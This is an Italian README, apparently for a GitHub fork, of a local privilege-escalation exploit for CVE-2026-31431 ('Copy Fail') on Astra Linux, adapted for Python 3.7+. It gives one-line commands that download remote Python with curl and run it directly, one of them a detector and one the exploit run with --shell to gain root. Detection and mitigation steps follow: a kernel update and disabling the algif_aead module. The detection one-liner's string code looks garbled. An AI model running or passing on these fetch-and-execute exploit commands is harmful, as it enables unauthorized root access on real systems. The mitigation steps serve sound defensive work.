
# Rileva e sfrutta l'escalation dei privilegi locali CVE-2026-31431 (Copy Fail) su Astra Linux, con compatibilità Python 3.7+ e distribuzione one-liner.
Verifica sicura senza sfruttamento:
curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/detect.py | python3
Sfruttamento (quando richiesto, inserire la password dell'utente)
python3 -c "$(curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/exp.py)" --shell
Questo è un fork adattato per Python 3.7, 3.8, 3.9, 3.10, 3.11.
Gli exploit originali richiedono Python 3.12+ a causa dell'uso di os.splice().
# ❌ Exploit originale (solo Python 3.12+)
os.splice(fd_in, fd_out, length, offset_src=offset)
# AttributeError: module 'os' has no attribute 'splice'
os.splice()###Sfruttamento su Astra Linux
La vulnerabilità è stata verificata su Astra Linux. Il modulo algif_aead è presente, lo sfruttamento consente di ottenere accesso a sudo e di elevare i privilegi a root.
Tuttavia, con il controllo degli accessi obbligatorio (MAC/Parsec) attivo, non è possibile diventare superamministratore (livello 63 / ruolo astra-admin): le etichette obbligatorie limitano i privilegi anche del processo root, e la policy di sicurezza non consente di superare i livelli di riservatezza impostati.
Pertanto: 🔴 Sistemi Astra Linux senza MAC o con MAC disattivato — completamente vulnerabili. 🟡 Sistemi con MAC attivo — parzialmente protetti: l'ottenimento di root è possibile, ma le reali capacità dell'attaccante sono limitate dalla policy obbligatoria.
In entrambi i casi, al rilevamento della vulnerabilità, l'applicazione delle misure dei punti 2 o 3 è obbligatoria.
━━━━━━━━━━━━━━━
Su ogni server è necessario eseguire il seguente comando. Esso non apporta alcuna modifica al sistema e verifica soltanto se il modulo vulnerabile è disponibile.
Connettersi al server ed eseguire in un'unica riga:
python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("\n" + "*"30 + "\n** VULNERABILE **\n" + ""*30)'
🔴 Se sullo schermo appare la parola VULNERABILE — il server è esposto alla vulnerabilità, è necessario passare al punto 2. 🟢 Se appare un messaggio di errore Python — il server non è esposto alla vulnerabilità, non sono richieste ulteriori azioni.
━━━━━━━━━━━━━━━ 2. Soluzione principale — aggiornamento del kernel
È necessario aggiornare il kernel a una versione contenente la correzione: 6.18.22, 6.19.12 o successiva. Fino all'aggiornamento, la disattivazione del modulo del punto 3 garantisce la protezione.
Per Debian / Ubuntu / Astra Linux:
apt-get update apt-get dist-upgrade reboot
Dopo il riavvio è obbligatorio verificare che sia stato caricato proprio il nuovo kernel:
uname -r
Se il comando mostra una versione inferiore a 6.18.22 — il kernel non è stato aggiornato oppure il sistema si è avviato con l'immagine precedente. In questo caso è necessario assicurarsi che l'aggiornamento sia stato installato (apt-get dist-upgrade non abbia restituito errori) e ripetere il riavvio.
⚠️ Astra Linux 1.7.x: Fino al rilascio dell'aggiornamento, l'unica misura di protezione è la disattivazione del modulo del punto 3. Per ottenere la patch si consiglia di contattare il supporto tecnico di Astra Linux tramite l'area personale.
━━━━━━━━━━━━━━━ 3. Misura di protezione temporanea — disattivazione del modulo vulnerabile
Se l'aggiornamento del kernel non è al momento possibile, come misura temporanea si consiglia di disattivare il modulo vulnerabile. L'operazione non richiede riavvio ed entra in vigore immediatamente. Prima dell'applicazione si consiglia di verificare le modifiche in un ambiente di test: in rari casi alcuni servizi potrebbero utilizzare direttamente questo modulo.
Comando per la disattivazione del modulo. Eseguire come root (o tramite sudo):
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
Il primo comando impedisce il caricamento del modulo ai successivi avvii. Il secondo lo scarica subito, se è caricato. Un errore nel secondo comando è normale: significa che il modulo non era già attivo.